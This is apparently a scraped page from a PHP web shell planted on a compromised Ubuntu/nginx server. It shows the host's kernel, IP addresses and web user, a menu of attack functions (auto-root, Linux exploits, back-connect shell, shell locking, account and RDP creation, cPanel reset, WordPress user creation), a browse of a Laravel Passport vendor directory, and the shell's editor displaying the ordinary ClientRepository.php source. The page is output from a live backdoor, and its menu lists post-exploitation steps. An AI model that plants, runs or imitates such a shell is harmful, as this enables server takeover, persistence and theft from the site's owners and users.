Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
vendor /
laravel /
passport /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Bridge
[ DIR ]
drwxrwxr-x
Console
[ DIR ]
drwxrwxr-x
Events
[ DIR ]
drwxrwxr-x
Exceptions
[ DIR ]
drwxrwxr-x
Guards
[ DIR ]
drwxrwxr-x
Http
[ DIR ]
drwxrwxr-x
ApiTokenCookieFactory.php
2.07
KB
-rwxrwxr-x
AuthCode.php
1.25
KB
-rwxrwxr-x
Client.php
2.97
KB
-rwxrwxr-x
ClientRepository.php
5.35
KB
-rwxrwxr-x
HasApiTokens.php
1.88
KB
-rwxrwxr-x
Passport.php
15.66
KB
-rwxrwxr-x
PassportServiceProvider.php
8.87
KB
-rwxrwxr-x
PersonalAccessClient.php
627
B
-rwxrwxr-x
PersonalAccessTokenFactory.php
3.52
KB
-rwxrwxr-x
PersonalAccessTokenResult.php
1.15
KB
-rwxrwxr-x
RefreshToken.php
1.61
KB
-rwxrwxr-x
RefreshTokenRepository.php
1.6
KB
-rwxrwxr-x
RouteRegistrar.php
4.63
KB
-rwxrwxr-x
Scope.php
1.08
KB
-rwxrwxr-x
Token.php
3.09
KB
-rwxrwxr-x
TokenRepository.php
2.9
KB
-rwxrwxr-x
TransientToken.php
610
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClientRepository.php
<?php namespace Laravel\Passport; use Illuminate\Support\Str; use RuntimeException; class ClientRepository { /** * Get a client by the given ID. * * @param int $id * @return \Laravel\Passport\Client|null */ public function find($id) { $client = Passport::client(); return $client->where($client->getKeyName(), $id)->first(); } /** * Get an active client by the given ID. * * @param int $id * @return \Laravel\Passport\Client|null */ public function findActive($id) { $client = $this->find($id); return $client && ! $client->revoked ? $client : null; } /** * Get a client instance for the given ID and user ID. * * @param int $clientId * @param mixed $userId * @return \Laravel\Passport\Client|null */ public function findForUser($clientId, $userId) { $client = Passport::client(); return $client ->where($client->getKeyName(), $clientId) ->where('user_id', $userId) ->first(); } /** * Get the client instances for the given user ID. * * @param mixed $userId * @return \Illuminate\Database\Eloquent\Collection */ public function forUser($userId) { return Passport::client() ->where('user_id', $userId) ->orderBy('name', 'asc')->get(); } /** * Get the active client instances for the given user ID. * * @param mixed $userId * @return \Illuminate\Database\Eloquent\Collection */ public function activeForUser($userId) { return $this->forUser($userId)->reject(function ($client) { return $client->revoked; })->values(); } /** * Get the personal access token client for the application. * * @return \Laravel\Passport\Client * * @throws \RuntimeException */ public function personalAccessClient() { if (Passport::$personalAccessClientId) { return $this->find(Passport::$personalAccessClientId); } $client = Passport::personalAccessClient(); if (! $client->exists()) { throw new RuntimeException('Personal access client not found. Please create one.'); } return $client->orderBy($client->getKeyName(), 'desc')->first()->client; } /** * Store a new client. * * @param int $userId * @param string $name * @param string $redirect * @param bool $personalAccess * @param bool $password * @param bool $confidential * @return \Laravel\Passport\Client */ public function create($userId, $name, $redirect, $personalAccess = false, $password = false, $confidential = true) { $client = Passport::client()->forceFill([ 'user_id' => $userId, 'name' => $name, 'secret' => ($confidential || $personalAccess) ? Str::random(40) : null, 'redirect' => $redirect, 'personal_access_client' => $personalAccess, 'password_client' => $password, 'revoked' => false, ]); $client->save(); return $client; } /** * Store a new personal access token client. * * @param int $userId * @param string $name * @param string $redirect * @return \Laravel\Passport\Client */ public function createPersonalAccessClient($userId, $name, $redirect) { return tap($this->create($userId, $name, $redirect, true), function ($client) { $accessClient = Passport::personalAccessClient(); $accessClient->client_id = $client->id; $accessClient->save(); }); } /** * Store a new password grant client. * * @param int $userId * @param string $name * @param string $redirect * @return \Laravel\Passport\Client */ public function createPasswordGrantClient($userId, $name, $redirect) { return $this->create($userId, $name, $redirect, false, true); } /** * Update the given client. * * @param \Laravel\Passport\Client $client * @param string $name * @param string $redirect * @return \Laravel\Passport\Client */ public function update(Client $client, $name, $redirect) { $client->forceFill([ 'name' => $name, 'redirect' => $redirect, ])->save(); return $client; } /** * Regenerate the client secret. * * @param \Laravel\Passport\Client $client * @return \Laravel\Passport\Client */ public function regenerateSecret(Client $client) { $client->forceFill([ 'secret' => Str::random(40), ])->save(); return $client; } /** * Determine if the given client is revoked. * * @param int $id * @return bool */ public function revoked($id) { $client = $this->find($id); return is_null($client) || $client->revoked; } /** * Delete the given client. * * @param \Laravel\Passport\Client $client * @return void */ public function delete(Client $client) { $client->tokens()->update(['revoked' => true]); $client->forceFill(['revoked' => true])->save(); } }
Close